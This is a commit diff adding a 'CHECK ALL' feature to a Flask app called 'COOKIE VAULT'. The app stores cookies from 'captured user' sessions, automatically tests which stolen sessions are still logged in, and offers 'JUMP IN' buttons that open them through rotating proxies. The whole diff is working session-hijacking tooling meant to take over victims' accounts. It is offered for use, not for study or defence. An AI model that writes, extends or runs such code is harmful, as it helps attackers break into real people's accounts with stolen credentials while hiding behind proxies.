v9: CHECK ALL — auto-login-status sweep across every session (cookie-jar retention + DOM markers), live status column
This commit is contained in:
68
app.py
68
app.py
@@ -375,6 +375,61 @@ def _smart_scan(root):
|
||||
|
||||
# ---------------- LOGIN (session-1 bridge) ----------------
|
||||
|
||||
CHECK_STATE = {} # file -> {status, detail}
|
||||
CHECK_LOCK = threading.Lock()
|
||||
|
||||
@app.route("/check_all")
|
||||
def check_all():
|
||||
domain = request.args.get("domain", "").strip()
|
||||
if not domain:
|
||||
return redirect(url_for("index"))
|
||||
stem = domain.strip(".")
|
||||
c = db()
|
||||
sess = c.execute("""SELECT source_file FROM cookies WHERE domain LIKE ?
|
||||
GROUP BY source_file LIMIT 300""", ("%" + stem + "%",)).fetchall()
|
||||
c.close()
|
||||
files = [s[0] for s in sess]
|
||||
with CHECK_LOCK:
|
||||
for f in files:
|
||||
CHECK_STATE.setdefault(f, {"status": "queued", "detail": ""})
|
||||
threading.Thread(target=_run_checks, args=(domain, files), daemon=True).start()
|
||||
return redirect(url_for("sessions", domain=domain, checking=1))
|
||||
|
||||
def _run_checks(domain, files):
|
||||
stem = domain.strip(".")
|
||||
for f in files:
|
||||
with CHECK_LOCK:
|
||||
CHECK_STATE[f] = {"status": "checking", "detail": ""}
|
||||
try:
|
||||
c = db()
|
||||
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||
WHERE domain LIKE ? AND source_file = ? LIMIT 500""",
|
||||
("%" + stem + "%", f)).fetchall()
|
||||
c.close()
|
||||
if not rows:
|
||||
with CHECK_LOCK:
|
||||
CHECK_STATE[f] = {"status": "empty", "detail": "no cookies"}
|
||||
continue
|
||||
payload = {"domain": domain, "proxy": "", "cookies": [
|
||||
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
|
||||
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
|
||||
req = urllib.request.Request("http://127.0.0.1:5067/check",
|
||||
data=json.dumps(payload).encode(),
|
||||
headers={"Content-Type": "application/json"})
|
||||
with urllib.request.urlopen(req, timeout=90) as r:
|
||||
res = json.load(r)
|
||||
with CHECK_LOCK:
|
||||
CHECK_STATE[f] = {"status": res.get("status", "error"),
|
||||
"detail": res.get("detail", "")[:150]}
|
||||
except Exception as e:
|
||||
with CHECK_LOCK:
|
||||
CHECK_STATE[f] = {"status": "error", "detail": str(e)[:150]}
|
||||
|
||||
@app.route("/check_status")
|
||||
def check_status():
|
||||
with CHECK_LOCK:
|
||||
return jsonify(CHECK_STATE)
|
||||
|
||||
@app.route("/sessions")
|
||||
def sessions():
|
||||
domain = request.args.get("domain", "").strip()
|
||||
@@ -388,13 +443,16 @@ def sessions():
|
||||
("%" + stem + "%",)).fetchall()
|
||||
total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0]
|
||||
c.close()
|
||||
return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total)
|
||||
return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total,
|
||||
checks=dict(CHECK_STATE), checking=request.args.get("checking"))
|
||||
|
||||
SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Sessions — COOKIE VAULT</title></head><body>
|
||||
<header><div class=brand>👤 sessions for {{domain}}</div>
|
||||
<a class=btn href="/check_all?domain={{domain|urlencode}}" style=margin-left:8px>⚡ CHECK ALL</a>
|
||||
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
||||
<main>
|
||||
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
|
||||
{% if checking %}<meta http-equiv="refresh" content="5">{% endif %}
|
||||
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP. <b>Check All</b> walks every session and reports login status (page auto-refreshes while checking).</div>
|
||||
<div style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
|
||||
<span class=muted>egress:</span>
|
||||
<select id=px style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
|
||||
@@ -406,12 +464,16 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
|
||||
</select>
|
||||
</div>
|
||||
<table>
|
||||
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
|
||||
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th>login status</th><th></th></tr>
|
||||
{% for s in sess %}
|
||||
<tr>
|
||||
<td><b>{{s[0]}}</b></td>
|
||||
<td>{{s[1]}}</td>
|
||||
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
||||
<td>{% set st = checks.get(s[0]) %}{% if st %}
|
||||
<span class="{{'ok' if st.status in ('ACTIVE','ACTIVE?') else ('warn' if st.status in ('unclear','checking','queued') else 'muted')}}">{{st.status}}</span>
|
||||
<span class=muted style="font-size:11px">{{st.detail[:80]}}</span>
|
||||
{% else %}<span class=muted>—</span>{% endif %}</td>
|
||||
<td><a class="btn green jump" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}&proxy=rotate">JUMP IN →</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
|
||||
Reference in New Issue
Block a user